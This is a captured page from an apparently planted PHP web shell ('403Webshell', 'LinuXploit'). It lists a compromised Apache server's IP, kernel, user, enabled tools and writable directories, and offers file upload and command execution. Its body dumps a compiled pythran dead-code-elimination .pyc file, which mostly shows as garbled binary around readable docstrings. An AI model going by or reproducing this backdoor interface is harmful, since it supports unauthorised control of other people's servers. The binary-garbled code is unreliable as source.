403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/optimizations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/optimizations/__pycache__/dead_code_elimination.cpython-311.pyc
�

cR�au���dZddlmZmZmZddlmZddlmZddl	m
Z
ddlZGd�dej
��ZGd�d	e��ZdS)
z* DeadCodeElimination remove useless code. �)�PureExpressions�DefUseChains�	Ancestors)�OMPDirective)�TransformationNc��eZdZd�Zd�ZdS)�ClumsyOpenMPDependencyHandlerc�,�t��|_dS�N)�set�	blacklist)�selfs �M/usr/lib/python3/dist-packages/pythran/optimizations/dead_code_elimination.py�__init__z&ClumsyOpenMPDependencyHandler.__init__
s���������c��|jD];}t|tj��r|j�|j���<|Sr)�deps�
isinstance�ast�Namer
�add�id)r�node�deps   r�visit_OMPDirectivez0ClumsyOpenMPDependencyHandler.visit_OMPDirectivesE���9�	+�	+�C��#�s�x�(�(�
+���"�"�3�6�*�*�*���rN)�__name__�
__module__�__qualname__rr�rrr	r	s2�������������rr	c�P��eZdZdZ�fd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
�fd	�Z�xZS)
�DeadCodeEliminationa�
    Remove useless statement like:
        - assignment to unused variables
        - remove alone pure statement
        - remove empty if

    >>> import gast as ast
    >>> from pythran import passmanager, backend
    >>> pm = passmanager.PassManager("test")
    >>> node = ast.parse("def foo(): a = [2, 3]; return 1")
    >>> _, node = pm.apply(DeadCodeElimination, node)
    >>> print(pm.dump(backend.Python, node))
    def foo():
        pass
        return 1
    >>> node = ast.parse("def foo(): 'a simple string'; return 1")
    >>> _, node = pm.apply(DeadCodeElimination, node)
    >>> print(pm.dump(backend.Python, node))
    def foo():
        pass
        return 1
    >>> node = ast.parse('''
    ... def bar(a):
    ...     return a
    ... def foo(a):
    ...    bar(a)
    ...    return 1''')
    >>> _, node = pm.apply(DeadCodeElimination, node)
    >>> print(pm.dump(backend.Python, node))
    def bar(a):
        return a
    def foo(a):
        pass
        return 1
    c���tt|���ttt
��t
��|_dSr)�superr!rrrrrr
)r�	__class__s �rrzDeadCodeElimination.__init__;s?���
�!�4�(�(�1�1�/�2>�2;�	=�	=�	=�������rc��t|tj��rC|j|jvrdS|jj|}t|�����SdS�NT)	rrrrr
�def_use_chains�chains�bool�users)rr�chains   r�used_targetzDeadCodeElimination.used_targetAsU���d�C�H�%�%�	'��w�$�.�(�(��t��'�.�t�4�E�����
�
�&�&�&��trc��t��}|�|��|j|_|�|��Sr)r	�visitr
�
generic_visit)rr�codhs   r�visit_FunctionDefz%DeadCodeElimination.visit_FunctionDefIs<��,�.�.���
�
�4���������!�!�$�'�'�'rc���|j|d}t|dd��|gkr|St|dd��|gkr|Stj|t��r|SdS)N����bodyr�orelse)�	ancestors�getattr�metadata�getr)rr�ancestors   r�
visit_PasszDeadCodeElimination.visit_PassOsm���>�$�'��+���8�V�R�(�(�T�F�2�2��K��8�X�r�*�*�t�f�4�4��K��<��l�+�+�	��K��trc����fd�|jD��}t|��t|j��kr|S||_d�_|r|S|j�jvrtj��Stj|j���S)Nc�>��g|]}��|���|��Sr)r,)�.0�targetrs  �r�
<listcomp>z4DeadCodeElimination.visit_Assign.<locals>.<listcomp>Zs;���0�0�0�f��&�&�v�.�.�0�6�0�0�0rT��value)�targets�len�updaterB�pure_expressionsr�Pass�Expr)rrrCs`  r�visit_Assignz DeadCodeElimination.visit_AssignYs����0�0�0�0���0�0�0���w�<�<�3�t�|�,�,�,�,��K��������	��K��:��.�.�.��8�:�:���8�$�*�-�-�-�-rc��||jvr9t|jtj��sd|_tj��S|�|��|Sr&)rFrrBr�YieldrErGr/)rrs  r�
visit_ExprzDeadCodeElimination.visit_ExprgsR���D�)�)�)��t�z�3�9�5�5�
*��D�K��8�:�:�����4� � � ��rc��|�|��	tj|j��r)t	j|t��sd|_|jSn(t	j|t��sd|_|j	Sn#t$rYnwxYwtd�|jD����}td�|j	D����}|s]|r[tjtj
��|j���}d|_tj||j	t�����S|sWd|_|j|jvrtj��Stj|j���}|�|��|S)NTc3�LK�|]}t|tj��V�� dSr�rrrG�r>�xs  r�	<genexpr>z/DeadCodeElimination.visit_If.<locals>.<genexpr>s1����G�G��J�q�#�(�3�3�3�G�G�G�G�G�Grc3�LK�|]}t|tj��V�� dSrrOrPs  rrRz/DeadCodeElimination.visit_If.<locals>.<genexpr>�s1����I�I��J�q�#�(�3�3�3�I�I�I�I�I�Ir)�op�operand)�testr4r5rA)r/r�literal_evalrVr8r9rrEr4r5�
ValueError�any�UnaryOp�Not�If�listrFrGrH)rr�	have_body�	have_elserVs     r�visit_IfzDeadCodeElimination.visit_Ifos������4� � � �	����	�*�*�
'��|�D�,�7�7�%�"&�D�K��9�$�%� �|�D�,�7�7�'�"&�D�K��;�&����	�	�	��D�	�����G�G�T�Y�G�G�G�G�G�	��I�I�T�[�I�I�I�I�I�	��	)�Y�	)��;�#�'�)�)�T�Y�?�?�?�D��D�K��6�t�$�+�d�f�f�E�E�E�E��	)��D�K��y�D�1�1�1��x�z�z�!��x�d�i�0�0�0���"�"�4�(�(�(��s�AB�(B�
B�Bc����tj|t��}tt|���|��}tj|t��s|D]}tj||���|S)z4 Add OMPDirective from the old node to the new one. )r8r9rr#r!r.r)rr�old_omp�
omp_directiver$s    �rr.zDeadCodeElimination.visit�so����,�t�\�2�2���(�$�/�/�5�5�d�;�;���|�D�,�/�/�	2�!(�
2�
2�
���T�=�1�1�1�1��r)
rrr�__doc__rr,r1r;rIrLr`r.�
__classcell__)r$s@rr!r!s��������"�"�F��������(�(�(����.�.�.���� � � �D��������rr!)rd�pythran.analysesrrr�pythran.openmpr�pythran.passmanagerr�pythran.metadatar8�gastr�NodeVisitorr	r!rrr�<module>rls���0�0�E�E�E�E�E�E�E�E�E�E�'�'�'�'�'�'�.�.�.�.�.�.�#�#�#�#�#�#�����	�	�	�	�	�C�O�	�	�	�A�A�A�A�A�.�A�A�A�A�Ar

Youez - 2016 - github.com/yon3zu
LinuXploit